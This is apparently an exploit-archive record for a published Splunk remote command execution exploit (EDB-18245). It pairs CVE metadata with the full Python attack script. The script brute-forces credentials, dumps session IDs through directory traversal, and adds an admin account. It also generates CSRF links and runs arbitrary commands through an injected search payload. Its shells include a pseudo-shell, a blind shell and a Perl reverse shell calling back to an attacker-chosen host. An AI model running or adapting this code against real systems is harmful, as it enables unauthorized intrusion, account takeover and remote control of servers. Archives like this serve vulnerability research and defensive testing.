{"exploit":{"id":"EDB-18245","name":"Splunk - Remote Command Execution","description":"Splunk - Remote Command Execution","cves":["CVE-2011-4779","CVE-2011-4644","CVE-2011-4643","CVE-2011-4642"],"author":"Gary O'Leary-Steele","published":"2011-12-15","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18245","path":"exploits/multiple/remote/18245.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18245.py","vulnerabilities":[{"id":"CVE-2011-4779","state":"REJECTED","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":"2024-09-17T04:00:22.835Z","retrievedAt":"2026-11-27T15:09:06.357Z","stale":false,"error":null},{"id":"CVE-2011-4644","state":"PUBLISHED","title":null,"titleSource":null,"description":"Splunk 4.2.5 and earlier, when a Free license is selected, enables potentially undesirable functionality within an environment that intentionally does not support authentication, which allows remote attackers to (1) read arbitrary files via a management-console session that leverages the ability to create crafted data sources, or (2) execute management commands via an HTTP request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-4644","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-4644"},"updatedAt":"2024-08-07T00:09:19.537Z","retrievedAt":"2026-11-27T15:22:09.079Z","stale":false,"error":null},{"id":"CVE-2011-4643","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in Splunk 4.x before 4.2.5 allow remote authenticated users to read arbitrary files via a .. (dot dot) in a URI to (1) Splunk Web or (2) the Splunkd HTTP Server, aka SPL-45243.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-4643","cvss":{"version":"2.0","baseScore":4,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-4643"},"updatedAt":"2024-08-07T00:09:19.409Z","retrievedAt":"2026-11-27T15:09:12.939Z","stale":false,"error":null},{"id":"CVE-2011-4642","state":"PUBLISHED","title":null,"titleSource":null,"description":"mappy.py in Splunk Web in Splunk 4.2.x before 4.2.5 does not properly restrict use of the mappy command to access Python classes, which allows remote authenticated administrators to execute arbitrary code by leveraging the sys module in a request to the search application, as demonstrated by a cross-site request forgery (CSRF) attack, aka SPL-45172.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-4642","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:N/AC:H/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-4642"},"updatedAt":"2024-08-07T00:09:19.512Z","retrievedAt":"2026-11-27T15:09:06.473Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18245.png?v=2","url":"https://exploitbin.com/exploits/EDB-18245","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18245/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18245/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"from sec1httplib.requestbuilder import Requestobj\nfrom sec1httplib.thread_dispatcher import *\nimport threading\nimport re\nimport urlparse\nimport sys\nimport urllib\nimport base64\nfrom optparse import OptionParser\nimport sys\n\n\n\"\"\"\nSource: http://www.sec-1.com/blog/?p=233\n\nSplunk remote root exploit.\n\nAuthor: Gary O'leary-Steele @ Sec-1 Ltd\nDate:   5th September 2011\nRelease date: Private\n\nFull Package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18245.zip\n\nC:\\git\\splunk>python splunk_exploit.py -h\nUsage: Run splunk_exploit.py -h to see usage options\n\nOptions:\n  --version          show program's version number and exit\n  -h, --help         show this help message and exit\n  -t TARGETHOST      IP Address or hostname of target splunk server\n  -c                 Generate CSRF URL only\n  -w SPLUNKWEB_PORT  The Splunk admin interface port (Default: 8000)\n  -d SPLUNKD_PORT    The Splunkd Web API port (Default: 8089)\n  -u USERFILE        File containing usernames for use in dictionary attack\n  -p PASSFILE        File containing passwords for use in dictionary attack\n  -U USERNAME        Admin username (if known)\n  -P PASSWORD        Admin pasword (if known)\n\n\nToDo: Fix bug when attemping to get home dir\n\n\"\"\"\n\n#Set this to use a proxy\n#Requestobj.set_proxy(\"127.0.0.1\",\"8080\")\n\nRequestobj.verbose = 0\nmisc_lock = threading.Lock()\n\n# Counter used in bruteforce\nclass Counter():\n    def __init__(self):\n        self.l = threading.Lock()\n\n    def set_total(self,total):\n        self.statictotal = total\n        self.total = total\n    def sub(self):\n        with self.l:\n            if self.total !=0:\n                self.total = self.total - 1\n    def print_remaining(self):\n        with self.l:\n            print \"[i] %s of %s remaining\" % (self.total,self.statictotal)\ncounter = Counter()\n\ndef request_factory_splunkd(targeturl,username,password,splunk_object):\n    \"Factory to generate attempt_login functions\"\n    global counter\n    def attempt_login():\n        # Dont continue if we already have admin\n        if splunk_object.got_admin == 1:\n            return False\n\n        login_url = \"{0}/services/auth/login\".format(targeturl.rstrip())\n        r = Requestobj(login_url)\n        poststr = \"username={0}&password={1}\".format(username.rstrip(),password.rstrip())\n        r.rawpostdata(\"POST\", poststr)\n        result = r.makerequest()\n        counter.sub()\n        counter.print_remaining()\n\n\n        if result.find_data(\"Remote login disabled because you are using a free license\"):\n            print \"[i] Free licence in use. No remote login required\"\n            print \"[!] run the exploit again with the -f flag\"\n            sys.exit()\n\n        if result.find_data(\"sessionKey\"):\n            print \"[***] Cracked: %s:%s\\n\" % (username.rstrip(),password.rstrip())\n            try:\n                if splunk_object.user_is_admin(username.rstrip(),password.rstrip()):\n                    splunk_object.username = username.rstrip()\n                    splunk_object.password = password.rstrip()\n                    splunk_object.got_admin =1\n                    #print \"ADMIN\",splunk_object.got_admin\n                    splunk_object.session_key = re.findall(\"<sessionKey>(.+?)</sessionKey>\",result.body)[0]\n            except Exception as err:\n                print \"[i] Error getting auth details\",err\n\n            return (username,password)\n        else:\n            pass\n    return attempt_login\n\n\ndef request_factory_splunkweb(targeturl,username,password,cval,splunk_object):\n    \"Factory to generate attempt_login functions\"\n    global counter\n\n    def attempt_login():\n        if splunk_object.got_admin == 1:\n            return False\n\n        login_url = \"{0}/en-GB/account/login\".format(targeturl.rstrip())\n        r = Requestobj(login_url)\n        poststr = \"cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}\".format(cval,username.rstrip(),password.rstrip())\n        r.rawpostdata(\"POST\", poststr)\n        r.set_custom_cookie(copyglobaljar=1)\n        result = r.makerequest()\n        counter.sub()\n        counter.print_remaining()\n\n\n        if result.find_data(\"This resource can be found at\"):\n            print \"[***] Cracked: %s:%s\" % (username.rstrip(),password.rstrip())\n            try:\n                if splunk_object.user_is_admin(username.rstrip(),password.rstrip()):\n                    splunk_object.username = username.rstrip()\n                    splunk_object.password = password.rstrip()\n                    splunk_object.got_admin =1\n            except Exception as err:\n                print \"[i] Error getting auth details\",err\n\n            return (username,password)\n        else:\n            pass\n    return attempt_login\n\n\n\nclass SplunkTarget(object):\n    def __init__(self,hostaddr,splunkd_port=8089,splunkweb_port=8000):\n\n        self.splunkd_port = splunkd_port\n        self.splunkweb_port = splunkweb_port\n        self.max_threads = 20\n        self.username=\"\"\n        self.password = \"\"\n        self.session_key =\"\"\n        self.splunk_home = \"\"\n        self.got_admin = 0\n        self.web_authed = 0 # are we authed to the web interface\n        self.freelic =0\n        # Check splunkd server\n        info = Requestobj(\"https://{0}:{1}/services/server/info/server-info\".format(hostaddr,splunkd_port)).makerequest()\n        if info.body:\n            self.splunkd_url = \"{0}://{1}\".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)\n        else:\n            info = Requestobj(\"http://{0}:{1}/services/server/info/server-info\".format(hostaddr,splunkd_port)).makerequest()\n            self.splunkd_url = \"{0}://{1}\".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)\n\n        if \"server-info\" in info.body:\n\n            self.splunkd =1\n            try:\n                self.os_build = re.findall(\"os_build\\\">(.+?)<\",info.body)[0]\n                self.os_name = re.findall(\"os_name\\\">(.+?)<\",info.body)[0]\n                self.os_version = re.findall(\"os_version\\\">(.+?)<\",info.body)[0]\n                self.server_name = re.findall(\"serverName\\\">(.+?)<\",info.body)[0]\n                self.splunk_version = re.findall(\"\\\"version\\\">(.+?)<\",info.body)[0]\n                self.cpu_arch = re.findall(\"cpu_arch\\\">(.+?)<\",info.body)[0]\n                print \"[i] Splunkd server found. Version:{0}\".format(self.splunk_version)\n                print \"[i] OS:{0} {1} {2}\".format(self.os_name,self.os_version,self.os_build)\n            except Exception as err:\n                print \"Error getting splunk server info\",err\n        else:\n            self.splunkd =0\n\n\n        # Check splunk web\n        splunkweb_info = Requestobj(\"http://{0}:{1}/en-GB/account/login\".format(hostaddr,splunkweb_port)).makerequest()\n        if splunkweb_info.body:\n            self.splunkweb_url = \"{0}://{1}\".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc)\n        else:\n            splunkweb_info = Requestobj(\"https://{0}:{1}/en-GB/account/login\".format(hostaddr,splunkweb_port)).makerequest()\n            self.splunkweb_url = \"{0}://{1}\".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc)\n\n\n        if \"Splunk\" in splunkweb_info.body:\n            print \"[i] Splunk web interface discovered\"\n            self.splunkweb =1\n            self.cval=\"\"\n            try:\n                self.cval = splunkweb_info.extract_data_body('name=\"cval\" value=\"(\\d+?)\"')[0]\n                print \"[i] CVAL:{0}\".format(self.cval)\n            except:\n                print \"[i] Error getting cval\"\n                self.splunkweb =0\n\n        else:\n            self.splunkweb =0\n\n        if self.splunkweb ==1:\n            try:\n                url =\"{0}/en-GB/manager/system/licensing\".format(self.splunkweb_url)\n                lic = Requestobj(url).makerequest()\n                if \"<h1>Free license group</h1>\" in lic.body:\n                    print \"[i] Configured with free licence. No auth required\"\n                    #if not self.splunkd:\n                    #    print \"[i] Cannot connect to splunkd using free licence\"\n                    #    sys.exit()\n                    self.got_admin=1\n                    self.username=\"admin\"\n                    self.password=\"admin\"\n                    self.web_authed=1\n                    self.splunkd=0\n                    self.freelic=1\n                    self.pop_shell()\n\n            except Exception as err:\n                print \"error\",err\n                exit()\n\n    def account_bruteforce(self,userfile,passfile):\n        global counter\n        q = ThreadDispatcher(store_return=1,max_threads=self.max_threads)\n        for username in set(open(userfile).readlines()):\n            for password in set(open(passfile).readlines()):\n\n                if self.splunkd == 1:\n                    q.add(request_factory_splunkd(self.splunkd_url,username,password,self))\n                elif self.splunkweb==1:\n                    q.add(request_factory_splunkweb(self.splunkweb_url,username,password,self.cval,self))\n                else:\n                    print \"[Error] Not connected\"\n                    sys.exit()\n\n        counter.set_total(len(q.call_queue))\n        q.start()\n\n        for x in range(q.return_queue._qsize()):\n            username, password = q.return_queue.get(x)\n            username = username.rstrip()\n            password = password.rstrip()\n            print \"[***] Cracked: %s:%s\" % (username,password)\n\n\n    def user_is_admin(self,username,password):\n        if self.splunkd == 1:\n            # attempt to auth via splunkd to get a sessionkey\n            self.username = username\n            self.password = password\n            self.splunkd_auth()\n            url = Requestobj(\"{0}/services/authentication/httpauth-tokens\".format(self.splunkd_url))\n            url.basic_auth(username,password)\n\n            context = url.makerequest()\n\n            if '<title>httpauth-tokens' in context.body:\n                self.got_admin =1\n                return True\n            else:\n                return False\n        elif self.splunkweb == 1:\n            with misc_lock:\n                self.username = username\n                self.password = password\n                if self.splunkweb_auth():\n                    admin_only = Requestobj(\"{0}/en-US/manager/launcher/server/settings/settings?action=edit\".format(self.splunkweb_url)).makerequest()\n                    if admin_only.find_data(\"Port that Splunk Web uses\"):\n                        print \"[i] User:{0} IS AN ADMIN.\".format(username)\n                        return True\n                    else:\n                        print \"[i] User:{0} is not an admin\".format(username)\n                else:\n                    pass\n\n        else:\n            print \"Not Connected\"\n            return False\n\n\n    def search_payload_cmd(self,payload):\n        \"Generate a command execution payload\"\n        encoded = urllib.quote(base64.b64encode(payload))\n        encodedpl = \"\"\"search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('%s'))\")\"\"\" % encoded\n        #print encodedpl\n        return encodedpl\n\n\n    def get_splunk_home(self):\n        if not self.username or not self.password:\n            print \"[i] Valid username and password required\"\n            sys.exit()\n        try:\n            r = Requestobj(\"{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME\".format(self.splunkd_url))\n            r.basic_auth(self.username,self.password)\n            splunkdir =  r.makerequest()\n\n            if \"ERROR\" not in splunkdir.body and \"Remote login disabled\" not in splunkdir.body and self.splunkd:\n                self.splunk_home = splunkdir.body.strip()\n            else:\n                print \"[***] Could not get home dir setting default..\"\n                if \"windows\" in self.os_name.lower():\n                    self.splunk_home = \"c:\\\\program files\\\\splunk\"\n                else:\n                    self.splunk_home = \"/opt/splunk\"\n\n                print \"Setting Splunk home dir to:{0}\".format(self.splunk_home)\n\n            return self.splunk_home\n\n        except Exception as err:\n            print \"[i] Error occured while attempting to read splunk home dir\",err\n\n\n    def splunkd_auth(self):\n        login_url = \"{0}/services/auth/login\".format(self.splunkd_url)\n        r = Requestobj(login_url)\n        poststr = \"username={0}&password={1}\".format(self.username.rstrip(),self.password.rstrip())\n        r.rawpostdata(\"POST\", poststr)\n        result = r.makerequest()\n        if result.find_data(\"Remote login disabled because you are using a free license\"):\n            print \"[i] Free licence in use. No remote login required\"\n            print \"[!] run the exploit again with the -f flag\"\n            sys.exit()\n\n        if result.find_data(\"sessionKey\"):\n            self.session_key = re.findall(\"<sessionKey>(.+?)</sessionKey>\",result.body)[0]\n            return True\n        else:\n            return False\n\n\n    def splunkweb_auth(self):\n\n        if self.web_authed == 1:\n            return True\n\n        login_page = Requestobj(\"{0}/en-GB/account/login\".format(self.splunkweb_url)).makerequest() # Get session cookie\n\n        cval=\"\"\n        cval = login_page.extract_data_body('name=\"cval\" value=\"(\\d+?)\"')\n        if cval:\n            cval = cval[0]\n        r = Requestobj(login_page.url)\n        poststr = \"cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}\".format(cval,self.username.rstrip(),self.password.rstrip())\n        r.rawpostdata(\"POST\", poststr)\n        result = r.makerequest()\n\n        if result.find_data(\"This resource can be found at\"):\n            return True\n            self.web_authed = 1\n        else:\n            print \"[i] Login Failed\"\n            exit()\n\n    def add_admin(self,username,password,sessionKey):\n        # look for 201\n        if self.splunkd == 1 and self.username and self.password:\n            url = Requestobj(\"{0}/servicesNS/-/launcher/authentication/users\".format(self.splunkd_url))\n            url.basic_auth(self.username,self.password)\n            url.rawpostdata(\"POST\",\"roles=user&roles=admin&name={0}&defaultApp=search&password={1}&email=&createrole=0&realname=\".format(username,password))\n            url.add_header(\"authorization\",\"Splunk {0}\".format(sessionKey))\n            result = url.makerequest()\n            if str(result.code) == \"201\":\n                return True\n            else:\n                return False\n\n        else:\n            print \"[!] Not connected to splunkd. Check port and creds\"\n            return False\n\n    def dump_session_ids(self):\n        \"Exploits dir traversal issue to dump session ids\"\n        print \"[i] Attemping to dump sessions\"\n        if self.splunkd == 1 and self.username and self.password:\n            #url = Requestobj(\"{0}/servicesNS/-/system/properties/..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fvar%2flog%2fsplunk%2fweb_service.log%00/default\".format(self.splunkd_url))\n            url = Requestobj(\"{0}/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default\".format(self.splunkd_url))\n\n            url.basic_auth(self.username,self.password)\n            result = url.makerequest()\n            sessions=[]\n            if \"session=\" in result.body:\n                print \"[i] Session ID's extracted from web_service.log\"\n                sessions = re.findall(\"session=(.+?)[<\\s]\",result.body)\n            for session in set(sessions):\n                print \"[SESSION]\",session\n            return set(sessions)\n\n    def perl_revshell(self,revhost,port):\n        cmd=\"\"\"perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\"\"\" % (revhost,port)\n        self.search_exploit_cmd(cmd)\n\n\n    def search_exploit_cmd(self,command):\n        \"Execute commands via search exploit.\"\n\n        if self.splunkweb == 1 and self.got_admin:\n            if self.web_authed == 0:\n                self.splunkweb_auth()\n\n            print \"[i] Executing Command:{0}\".format(command)\n            attack_body = self.search_payload_cmd(command)#\n            attack_body = urllib.quote(urllib.unquote(attack_body))\n            shell_req = Requestobj(\"{0}/en-GB/api/search/jobs\".format(self.splunkweb_url))\n            shell_req.rawpostdata(\"POST\",\"search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=\".format(attack_body))\n            for c in shell_req.get_cookiejar():\n                if \"session\" in c.name:\n                    shell_req.add_header(\"X-Requested-With\",\"XMLHttpRequest\")\n                    shell_req.add_header(\"X-Splunk-Session\",c.value)\n            x = shell_req.makerequest()\n\n        elif self.splunkd == 1 and self.got_admin and self.session_key:\n\n            print \"[i] Executing Command:{0}\".format(command)\n            attack_body = self.search_payload_cmd(command)#\n            attack_body = urllib.quote(urllib.unquote(attack_body))\n            shell_req = Requestobj(\"{0}/servicesNS/admin/search/search/jobs\".format(self.splunkd_url))\n            shell_req.rawpostdata(\"POST\",\"ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100\".format(attack_body))\n            shell_req.add_header(\"authorization\",\"Splunk {0}\".format(self.session_key))\n            x = shell_req.makerequest()\n        else:\n            print \"Session\",self.session_key\n            print \"Admin\",self.got_admin\n            print \"Splunkd\",self.splunkd\n            print \"[i] Exploit failed. Not connected or access denied\"\n\n    def blind_shell(self):\n        command=\"\"\n        while 1:\n            print command.rstrip()\n            command=raw_input(\"blind_shell>\")#\n            if command.rstrip() == \"exit\": break\n            self.search_exploit_cmd(command)\n\n\n    def get_csrf_link_cmd(self,command):\n        return \"{0}/en-US/app/search/flashtimeline?q={1}&earliest=0\".format(self.splunkweb_url,self.search_payload_cmd(command))\n\n    def get_csrf_link_revshell(self,revhost,port):\n        cmd=\"\"\"perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\"\"\" % (revhost,port)\n        return \"{0}/en-US/app/search/flashtimeline?q={1}&earliest=0\".format(self.splunkweb_url,self.search_payload_cmd(cmd))\n\n    def search_exploit_psudoshell(self):\n        \"Execute commands via search exploit. Payload implements a virtual shell\"\n        if not self.username or not self.password:\n            print \"[i] Valid username and password required\"\n            sys.exit()\n        if not self.splunkweb == 1:\n            print \"[error] Managment Web Interface required for this payload\"\n            return \"\"\n\n        if self.web_authed == 0:\n            self.splunkweb_auth()\n\n        base_dir = self.get_splunk_home()\n        #if not base_dir:\n        #    print \"Failed to get splunk basedir\"\n        #    base_dir = \"/opt/splunk\"\n\n        command=\"\"\n        while 1:\n            print command.rstrip()\n            command=raw_input(\"shell>\")#\n            if command.rstrip() == \"exit\": break\n\n            if \"windows\" in self.os_name.lower():\n                tmp = \">\\\"{0}\\\\share\\splunk\\search_mrsparkle\\exposed\\js\\.tmp\\\"\".format(base_dir)\n                command = command + tmp #'\"'+ tmp +'\"'\n            else:\n                tmp = \">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp\".format(base_dir)\n                command = command + tmp\n\n            attack_body = self.search_payload_cmd(command)#\n\n            attack_body = urllib.quote(urllib.unquote(attack_body))\n            psudoshell_req = Requestobj(\"{0}/en-GB/api/search/jobs\".format(self.splunkweb_url))\n            psudoshell_req.rawpostdata(\"POST\",\"search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=\".format(attack_body))\n            for c in psudoshell_req.get_cookiejar():\n                if \"session\" in c.name:\n                    psudoshell_req.add_header(\"X-Requested-With\",\"XMLHttpRequest\")\n                    psudoshell_req.add_header(\"X-Splunk-Session\",c.value)\n            x = psudoshell_req.makerequest()\n            import time\n            time.sleep(3)\n            print Requestobj(\"{0}/en-US/static/@105575/js/.tmp\".format(self.splunkweb_url)).makerequest().body\n\n    def pop_shell(self):\n        \"Prompt for paylod options\"\n        \"[w00p] We appear to have access. Please select a payload\"\n        print \"[Payload Options]\"\n        if self.splunkweb == 1:\n            print \"[1]\\tPseudo Interactive Shell\"\n        else:\n            print \"[DISABLED]\\tPseudo Interactive Shell\"\n\n        print \"[2]\\tPerl Reverse Shell\"\n        print \"[3]\\tCommand Exec (Blind)\"\n        option = input(\"Please select option 1-3:\")\n        if option == 1:\n            self.search_exploit_psudoshell()\n        elif option ==2:\n            rev_host = raw_input(\"Enter Callback Host:\")\n            rev_port = raw_input(\"Enter Callback Port:\")\n            self.perl_revshell(rev_host,rev_port)\n        elif option ==3:\n            self.blind_shell()\n        else:\n            print \"Invalid option\"\n            exit()\n\n\ndef main():\n\n    banner = \"-----==[Slunk Remote Root Exploit]=-----\\n\"\n    parser = OptionParser(usage=\"Run %prog -h to see usage options\",\n                          version=\"%prog 1.0\")\n    parser.add_option(\"-t\",\n                      action=\"store\",\n                      dest=\"targethost\",\n                      help=\"IP Address or hostname of target splunk server\")\n\n\n\n    parser.add_option(\"-c\",\n                      action=\"store_true\", # optional because action defaults to \"store\"\n                      dest=\"csrf\",\n                      help=\"Generate CSRF URL only\")\n\n\n    parser.add_option(\"-f\",\n                      action=\"store_true\", # optional because action defaults to \"store\"\n                      dest=\"free_lic_noauth\",\n                      help=\"Target is configured to use a Free licence and does not permit remote auth\")\n\n    parser.add_option(\"-w\",\n                      action=\"store\", # optional because action defaults to \"store\"\n                      dest=\"splunkweb_port\",\n                      default=8000,\n                      help=\"The Splunk admin interface port (Default: 8000)\")\n\n    parser.add_option(\"-d\",\n                      action=\"store\", # optional because action defaults to \"store\"\n                      dest=\"splunkd_port\",\n                      default=8089,\n                      help=\"The Splunkd Web API port (Default: 8089)\")\n\n\n    parser.add_option(\"-u\",\n                      action=\"store\", # optional because action defaults to \"store\"\n                      dest=\"userfile\",\n                      help=\"File containing usernames for use in dictionary attack\")\n\n    parser.add_option(\"-p\",\n                      action=\"store\", # optional because action defaults to \"store\"\n                      dest=\"passfile\",\n                      help=\"File containing passwords for use in dictionary attack\")\n\n\n    parser.add_option(\"-U\",\n                      action=\"store\", # optional because action defaults to \"store\"\n                      dest=\"username\",\n                      help=\"Admin username (if known)\")\n\n\n    parser.add_option(\"-P\",\n                      action=\"store\", # optional because action defaults to \"store\"\n                      dest=\"password\",\n                      help=\"Admin pasword (if known)\")\n\n    parser.add_option(\"-e\",\n                     action=\"store\", # optional because action defaults to \"store\"\n                     dest=\"userpair\",\n                     help=\"Attempt to add admin user via priv up directory traversal magic. Accepts username:password\")\n\n\n    (options, args) = parser.parse_args()\n\n\n    if not options.targethost:\n        parser.error(\"Target host required\")\n        exit()\n\n    elif options.targethost and options.free_lic_noauth:\n        x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port)\n        x.username=\"admin\"\n        x.password=\"admin\"\n        x.got_admin=1\n        x.splunkd = 0\n        x.pop_shell()\n\n    elif options.targethost and options.csrf:\n        x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port)\n        print \"[*] Enter command to run or enter 'revshell' for a perl reverse shell:\"\n        option = raw_input(\"cmd>\")\n        if option ==\"revshell\":\n            rev_host = raw_input(\"Enter Callback Host:\")\n            rev_port = raw_input(\"Enter Callback Port:\")\n            x.perl_revshell(rev_host,rev_port)\n            print x.get_csrf_link_revshell(rev_host,rev_port)\n        else:\n            print x.get_csrf_link_cmd(option.strip())\n\n    elif options.targethost and options.username and options.password and options.userpair:\n        print \"[i] Attemping priv up\"\n        if \":\" in options.userpair:\n            username,password = options.userpair.split(\":\")\n        else:\n            print \"-e requires username password pair in format username:password\"\n\n        x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port)\n        x.username= options.username\n        x.password = options.password\n        x.splunkd = 1\n        import time\n        while 1:\n            sessionids= x.dump_session_ids()\n            for session in sessionids:\n                if x.add_admin(username,password,session):\n                    print \"[i] User Added\"\n                    exit()\n            time.sleep(2)\n\n    elif options.targethost and options.username and options.password:\n        print \"[i] Using static username and password\"\n        x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port)\n        x.username= options.username\n        x.password = options.password\n        if x.user_is_admin(options.username,options.password):\n            x.pop_shell()\n\n    elif options.targethost and options.userfile and options.passfile:\n        print \"[i] Lauching bruteforce attack\"\n        x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port)\n        x.account_bruteforce(options.userfile,options.passfile)\n        if x.got_admin ==1:\n            x.pop_shell()\n\n    else:\n        print \"Please ensure you have supplied either a username and password or a user and password file to bruteforce\"\n        exit()\n\n\nif __name__ == '__main__':\n    main()","sha256":"399e706017d38b4038cc9759164698131ed648a09b4c25a4870db075378cb740","bytes":26992,"fetchedAt":"2026-11-27T15:09:06.237Z","encoding":"utf-8 (display only; download retains original bytes)"}